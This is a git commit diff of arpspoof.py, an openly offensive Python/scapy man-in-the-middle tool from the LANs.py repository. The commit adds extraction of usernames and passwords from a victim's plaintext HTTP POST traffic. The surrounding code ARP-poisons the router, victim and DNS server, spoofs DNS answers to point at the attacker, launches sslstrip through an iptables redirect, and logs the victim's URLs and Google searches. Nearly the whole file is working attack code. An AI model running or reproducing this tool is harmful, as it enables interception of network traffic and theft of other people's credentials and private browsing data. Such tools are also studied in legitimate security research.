mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-07 13:32:14 -07:00
Tons of new stuff added like consistent HTTP password pulling
This commit is contained in:
parent
39d73cc154
commit
c603fc4a43
1 changed files with 143 additions and 54 deletions
197
arpspoof.py
197
arpspoof.py
|
@ -5,7 +5,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
conf.verb=0
|
conf.verb=0
|
||||||
#Below is necessary to receive a response to the DHCP packets for some reason. If you know the answer to that message me.
|
#Below is necessary to receive a response to the DHCP packets for some reason. If you know the answer to that message me.
|
||||||
conf.checkIPaddr=0
|
conf.checkIPaddr=1
|
||||||
import time
|
import time
|
||||||
import sys
|
import sys
|
||||||
import threading
|
import threading
|
||||||
|
@ -13,6 +13,7 @@ import argparse
|
||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
import signal
|
import signal
|
||||||
|
import urlparse
|
||||||
import commands
|
import commands
|
||||||
bash=commands.getoutput
|
bash=commands.getoutput
|
||||||
|
|
||||||
|
@ -26,12 +27,29 @@ parser.add_argument("-u", "--urlspy", help="Show all URLs the victim is browsing
|
||||||
parser.add_argument("-d", "--dnsspy", help="Show all DNS resquests the victim makes. This has the advantage of showing HTTPS domains which the -u option will not but does not show the full URL the victim is requesting.", action="store_true")
|
parser.add_argument("-d", "--dnsspy", help="Show all DNS resquests the victim makes. This has the advantage of showing HTTPS domains which the -u option will not but does not show the full URL the victim is requesting.", action="store_true")
|
||||||
parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning.")
|
parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning.")
|
||||||
parser.add_argument("-i", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
|
parser.add_argument("-i", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
|
||||||
parser.add_argument("-g", "--google", help="Print google searches.", action="store_true")
|
parser.add_argument("-g", "--google", help="Print Google searches, and show nonHTTPS links they click on from the search results.", action="store_true")
|
||||||
parser.add_argument("-s", "--sslstrip", help="Open an xterm window with sslstrip and output to sslstrip.txt", action="store_true")
|
parser.add_argument("-s", "--sslstrip", help="Open an xterm window with sslstrip and output to sslstrip.txt", action="store_true")
|
||||||
parser.add_argument("-uv", "--verboseURL", help="Shows all URLs the victim visits.", action="store_true")
|
parser.add_argument("-uv", "--verboseURL", help="Shows all URLs the victim visits.", action="store_true")
|
||||||
parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument")
|
parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument")
|
||||||
|
parser.add_argument("-p", "--post", help="Print the URL the victim POSTs to, show usernames and passwords in unsecure HTTP POSTs", action="store_true")
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
class colors:
|
||||||
|
PURPLE = '\033[95m'
|
||||||
|
BLUE = '\033[94m'
|
||||||
|
OKGREEN = '\033[92m'
|
||||||
|
TAN = '\033[93m'
|
||||||
|
RED = '\033[91m'
|
||||||
|
ENDC = '\033[0m'
|
||||||
|
|
||||||
|
def disable(self):
|
||||||
|
self.HEADER = ''
|
||||||
|
self.OKBLUE = ''
|
||||||
|
self.OKGREEN = ''
|
||||||
|
self.TAN = ''
|
||||||
|
self.RED = ''
|
||||||
|
self.ENDC = ''
|
||||||
|
|
||||||
#Find the gateway and use it as the router's info
|
#Find the gateway and use it as the router's info
|
||||||
routerCmd = bash('ip route')
|
routerCmd = bash('ip route')
|
||||||
routerRE = re.search('default via ((\d{2,3}\.\d{1,3}\.\d{1,4}\.)\d{1,3}) \w+ (\w[a-zA-Z0-9]\w[a-zA-Z0-9][0-9]?)', routerCmd)
|
routerRE = re.search('default via ((\d{2,3}\.\d{1,3}\.\d{1,4}\.)\d{1,3}) \w+ (\w[a-zA-Z0-9]\w[a-zA-Z0-9][0-9]?)', routerCmd)
|
||||||
|
@ -40,16 +58,16 @@ IPprefix = routerRE.group(2)
|
||||||
interface = routerRE.group(3)
|
interface = routerRE.group(3)
|
||||||
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
|
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
|
||||||
|
|
||||||
if args.dnsspy or args.dnsspoof:
|
print "Checking the DNS server..."
|
||||||
print "Checking if the router is the DNS server..."
|
dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"])
|
||||||
dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"])
|
ans, unans = srp(dhcp_discover, timeout=7, retry=2)
|
||||||
ans, unans = srp(dhcp_discover, timeout=5, retry=2)
|
if ans:
|
||||||
if ans:
|
for p in ans:
|
||||||
for p in ans:
|
DNSserver = p[1][IP].src
|
||||||
DNSserver = p[1][IP].src
|
print "DNS server at:", DNSserver, '\n'
|
||||||
print "DNS server at: ", DNSserver, '\n'
|
else:
|
||||||
else:
|
print "No answer to DHCP packet sent to find the DNS server. Setting DNS server to router IP.\n"
|
||||||
print "No answer to DHCP packet sent to find the DNS server.\n"
|
DNSserver = routerIP
|
||||||
|
|
||||||
if args.ipaddress:
|
if args.ipaddress:
|
||||||
victimIP = args.ipaddress
|
victimIP = args.ipaddress
|
||||||
|
@ -62,7 +80,7 @@ else:
|
||||||
|
|
||||||
def originalMAC(ip):
|
def originalMAC(ip):
|
||||||
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
|
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
|
||||||
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=7, retry=3)
|
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
|
||||||
for s,r in ans:
|
for s,r in ans:
|
||||||
return r.sprintf("%Ether.src%")
|
return r.sprintf("%Ether.src%")
|
||||||
|
|
||||||
|
@ -71,22 +89,63 @@ def poison(routerIP, victimIP):
|
||||||
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff"))
|
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff"))
|
||||||
|
|
||||||
def restore(routerIP, victimIP, routerMAC, victimMAC):
|
def restore(routerIP, victimIP, routerMAC, victimMAC):
|
||||||
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=5)
|
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
|
||||||
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=5)
|
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
|
||||||
|
|
||||||
def URL(pkt):
|
def URL(pkt):
|
||||||
if pkt.haslayer(Raw):
|
# Counter is to make sure we're not printing packet data twice if both username and password is found
|
||||||
request = pkt[Raw].load
|
counter = 0
|
||||||
searchGET = re.compile('GET')
|
# We add pkt[Ether].src check to make sure we're not messing with retransmitted packets
|
||||||
get = searchGET.search(request)
|
if pkt.haslayer(Raw) and pkt[Ether].src == victimMAC:
|
||||||
searchHost = re.compile('Host:')
|
pkt = repr(pkt[Raw].load)
|
||||||
host = searchHost.search(request)
|
try:
|
||||||
if get and host:
|
headers, body = pkt.split(r"\r\n\r\n")
|
||||||
a = request.split("\r\n")
|
except:
|
||||||
b = a[1].split(" ")
|
headers = pkt
|
||||||
c = a[0].split(" ")
|
body = ''
|
||||||
url = b[1]+c[1]
|
|
||||||
print url
|
post = re.search('POST /', headers)
|
||||||
|
get = re.search('GET /', headers)
|
||||||
|
host = re.search('Host: ', headers)
|
||||||
|
|
||||||
|
#The big unsolvable problem is that sometimes sniff() will get a packet (usually from the arp spoofed victim)
|
||||||
|
#and split it into 2 packets when wireshark sees only one. Consistently from neopets via arpspoof victim. The load
|
||||||
|
#gets truncated and sniff() then treats the other few lines of the HTTP load as a new packet for some reason.
|
||||||
|
#http://bpaste.net/show/v2CsP4Ixzb7NGGuutDSp/
|
||||||
|
if args.post and len(headers) < 450 and not get:
|
||||||
|
username = re.finditer('(([Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', headers)
|
||||||
|
password = re.finditer('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', headers)
|
||||||
|
for x in username:
|
||||||
|
if x:
|
||||||
|
print colors.TAN,'[+] Packet was split by accident. Username Data:',headers, colors.ENDC
|
||||||
|
print colors.RED,x.group(),colors.ENDC
|
||||||
|
counter = 1
|
||||||
|
for y in password:
|
||||||
|
if y:
|
||||||
|
if counter == 0:
|
||||||
|
print colors.TAN, '[+] Packet was split by accident. Password data:', headers, colors.ENDC
|
||||||
|
print colors.RED, y.group(), colors.ENDC
|
||||||
|
counter = 0
|
||||||
|
if (post or get) and host:
|
||||||
|
a = headers.split(r"\r\n")
|
||||||
|
try:
|
||||||
|
b = a[0].split(" ")
|
||||||
|
c = a[1].split(" ")
|
||||||
|
url = c[1]+b[1]
|
||||||
|
except:
|
||||||
|
print "Could not form url"
|
||||||
|
return
|
||||||
|
if args.post and post:
|
||||||
|
if body != '':
|
||||||
|
print colors.TAN+'[+] POST:',url,'HTTP POST load:',body+colors.ENDC
|
||||||
|
password = re.finditer('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
|
||||||
|
username = re.finditer('(([Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
|
||||||
|
if username:
|
||||||
|
for x in username:
|
||||||
|
print colors.RED,x.group(),colors.ENDC
|
||||||
|
if password:
|
||||||
|
for y in password:
|
||||||
|
print colors.RED,y.group(),colors.ENDC
|
||||||
if args.urlspy:
|
if args.urlspy:
|
||||||
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js']
|
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js']
|
||||||
if any(i in url for i in d):
|
if any(i in url for i in d):
|
||||||
|
@ -95,12 +154,43 @@ def URL(pkt):
|
||||||
if args.verboseURL:
|
if args.verboseURL:
|
||||||
print url
|
print url
|
||||||
if args.google:
|
if args.google:
|
||||||
if 'google' in url:
|
if 'google.com' in url:
|
||||||
r = re.findall(r'(?i)\&q=(.*?)\&', request)
|
r = re.findall(r'(?i)\&q=(.*?)\&', url)
|
||||||
if r:
|
if r:
|
||||||
search = r[0].split('&')[0]
|
search = r[0].split('&')[0]
|
||||||
search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'')
|
search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=')
|
||||||
print '%s googled:' % victimIP, search
|
print colors.BLUE + '[+] Googled:',search + colors.ENDC
|
||||||
|
try:
|
||||||
|
g,s = url.split('http%3A%2F%2F')
|
||||||
|
s = s.replace('%2F', '/').replace('%3F', '?').replace('%3D', '=')
|
||||||
|
s = s[:s.find('&')]
|
||||||
|
print colors.BLUE + '[+] Clicked this link from a Google search:',s + colors.ENDC
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# bodyParsed = urlparse.parse_qs(body)
|
||||||
|
# print bodyParsed
|
||||||
|
# try:
|
||||||
|
# value = next(v for (k,v) in bodyParsed.iteritems() if passwd or username in k)
|
||||||
|
# print value
|
||||||
|
# except:
|
||||||
|
# print 'this post does not have username or password data'
|
||||||
|
# for k,v in bodyParsed.iteritems():
|
||||||
|
# if passwd or username in k:
|
||||||
|
# print bodyParsed[k]
|
||||||
|
# if args.post and post:
|
||||||
|
# print '%s POSTed to:' % victimIP, url
|
||||||
|
# print request
|
||||||
|
# username = re.search('([Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin)=[^&]*', request)
|
||||||
|
# if username:
|
||||||
|
# print username.group()
|
||||||
|
# else:
|
||||||
|
# print "Could not find username"
|
||||||
|
|
||||||
|
|
||||||
def DNSreq(pkt):
|
def DNSreq(pkt):
|
||||||
if pkt.haslayer(DNSQR):
|
if pkt.haslayer(DNSQR):
|
||||||
|
@ -110,12 +200,14 @@ def DNSreq(pkt):
|
||||||
def mkspoof(DNSpkt):
|
def mkspoof(DNSpkt):
|
||||||
ip=DNSpkt[IP]
|
ip=DNSpkt[IP]
|
||||||
dnsLayer=DNSpkt[DNS]
|
dnsLayer=DNSpkt[DNS]
|
||||||
#qr = query or response (0,1), aa=are the nameservers authoritative? (0,1), ad=authenticated data (0,1)
|
# qr = query or response (0,1), aa=are the nameservers authoritative? (0,1), ad=authenticated data (0,1)
|
||||||
p = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport, sport=ip.dport)/DNS(id=dnsLayer.id, qr=1, aa=1, qd=dnsLayer.qd, an=DNSRR(rrname=dnsLayer.qd.qname, ttl=10, rdata=localIP))
|
p = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport, sport=ip.dport)/DNS(id=dnsLayer.id, qr=1, aa=1, qd=dnsLayer.qd, an=DNSRR(rrname=dnsLayer.qd.qname, ttl=10, rdata=localIP))
|
||||||
return p
|
return p
|
||||||
|
|
||||||
class urlspy(threading.Thread):
|
class urlspy(threading.Thread):
|
||||||
def run(self):
|
def run(self):
|
||||||
|
# This is in case you need to test the program without an actual victim
|
||||||
|
# sniff(store=0, filter='port 80', prn=URL, iface=interface)
|
||||||
sniff(store=0, filter='port 80 and host %s' % victimIP, prn=URL, iface=interface)
|
sniff(store=0, filter='port 80 and host %s' % victimIP, prn=URL, iface=interface)
|
||||||
|
|
||||||
class dnsspy(threading.Thread):
|
class dnsspy(threading.Thread):
|
||||||
|
@ -125,13 +217,13 @@ class dnsspy(threading.Thread):
|
||||||
class dnsspoof(threading.Thread):
|
class dnsspoof(threading.Thread):
|
||||||
def run(self):
|
def run(self):
|
||||||
while 1:
|
while 1:
|
||||||
a=sniff(filter='port 53 and host %s' % victimIP, count=1, promisc=1)
|
a=sniff(filter='port 53 or port 80 and host %s' % victimIP, count=1, promisc=1)
|
||||||
DNSpkt = a[0]
|
DNSpkt = a[0]
|
||||||
if not DNSpkt.haslayer(DNSQR):
|
if not DNSpkt.haslayer(DNSQR):
|
||||||
continue
|
continue
|
||||||
if args.dnsspoof in DNSpkt.qd.qname:
|
if args.dnsspoof in DNSpkt.qd.qname:
|
||||||
send(mkspoof(DNSpkt))
|
send(mkspoof(DNSpkt))
|
||||||
print 'Sent spoofed DNS response packet for', DNSpkt.qd.qname
|
print colors.OKGREEN + '[+] Spoofed:', DNSpkt.qd.qname + colors.ENDC
|
||||||
|
|
||||||
#class ssltrip(threading.Thread):
|
#class ssltrip(threading.Thread):
|
||||||
# def run(self):
|
# def run(self):
|
||||||
|
@ -140,6 +232,17 @@ def sslstrip():
|
||||||
ip10000 = bash('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000')
|
ip10000 = bash('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000')
|
||||||
sslstrip = bash('xterm -e sslstrip -f -w sslstrip.txt')
|
sslstrip = bash('xterm -e sslstrip -f -w sslstrip.txt')
|
||||||
|
|
||||||
|
print "Active interface = " + interface
|
||||||
|
print "Router IP = " + routerIP
|
||||||
|
print "Client IP = " + victimIP
|
||||||
|
try:
|
||||||
|
routerMAC = originalMAC(routerIP)
|
||||||
|
print "Router MAC: " + routerMAC
|
||||||
|
victimMAC = originalMAC(victimIP)
|
||||||
|
print "Victim MAC: " + victimMAC + "\n"
|
||||||
|
except:
|
||||||
|
sys.exit("Could not get MAC addresses")
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
|
|
||||||
#Forward packets and flush iptables
|
#Forward packets and flush iptables
|
||||||
|
@ -150,19 +253,7 @@ def main():
|
||||||
ipNATX = bash('iptables -t nat -X')
|
ipNATX = bash('iptables -t nat -X')
|
||||||
print 'Enabled IP forwarding and flushed the firewall\n'
|
print 'Enabled IP forwarding and flushed the firewall\n'
|
||||||
|
|
||||||
print "Active interface = " + interface
|
if args.urlspy or args.google or args.verboseURL or args.post:
|
||||||
print "Router IP = " + routerIP
|
|
||||||
print "Client IP = " + victimIP
|
|
||||||
|
|
||||||
try:
|
|
||||||
routerMAC = originalMAC(routerIP)
|
|
||||||
print "Router MAC: " + routerMAC
|
|
||||||
victimMAC = originalMAC(victimIP)
|
|
||||||
print "Victim MAC: " + victimMAC + "\n"
|
|
||||||
except:
|
|
||||||
sys.exit("Could not get MAC addresses")
|
|
||||||
|
|
||||||
if args.urlspy or args.google or args.verboseURL:
|
|
||||||
ug = urlspy()
|
ug = urlspy()
|
||||||
#Make sure the thread closes with the main program on Ctrl-C
|
#Make sure the thread closes with the main program on Ctrl-C
|
||||||
ug.daemon = True
|
ug.daemon = True
|
||||||
|
@ -174,7 +265,6 @@ def main():
|
||||||
dt.start()
|
dt.start()
|
||||||
|
|
||||||
if args.driftnet:
|
if args.driftnet:
|
||||||
time.sleep(5)
|
|
||||||
driftnet = bash('xterm -e driftnet -i %s' % interface)
|
driftnet = bash('xterm -e driftnet -i %s' % interface)
|
||||||
|
|
||||||
if args.sslstrip:
|
if args.sslstrip:
|
||||||
|
@ -190,7 +280,9 @@ def main():
|
||||||
restore(routerIP, victimIP, routerMAC, victimMAC)
|
restore(routerIP, victimIP, routerMAC, victimMAC)
|
||||||
restore(routerIP, victimIP, routerMAC, victimMAC)
|
restore(routerIP, victimIP, routerMAC, victimMAC)
|
||||||
ipforwardoff = bash('echo 0 > /proc/sys/net/ipv4/ip_forward')
|
ipforwardoff = bash('echo 0 > /proc/sys/net/ipv4/ip_forward')
|
||||||
flush = bash('iptables -t nat -F')
|
flush1 = bash('iptables -t nat -F')
|
||||||
|
flush2 = bash('iptables -F')
|
||||||
|
flush3 = bash('iptables -X')
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
signal.signal(signal.SIGINT, signal_handler)
|
signal.signal(signal.SIGINT, signal_handler)
|
||||||
|
@ -199,11 +291,8 @@ def main():
|
||||||
while 1:
|
while 1:
|
||||||
|
|
||||||
poison(routerIP, victimIP)
|
poison(routerIP, victimIP)
|
||||||
try:
|
if not DNSserver == routerIP:
|
||||||
if DNSserver != routerIP:
|
poison(DNSserver, victimIP)
|
||||||
poison(DNSserver, victimIP)
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
time.sleep(1.5)
|
time.sleep(1.5)
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue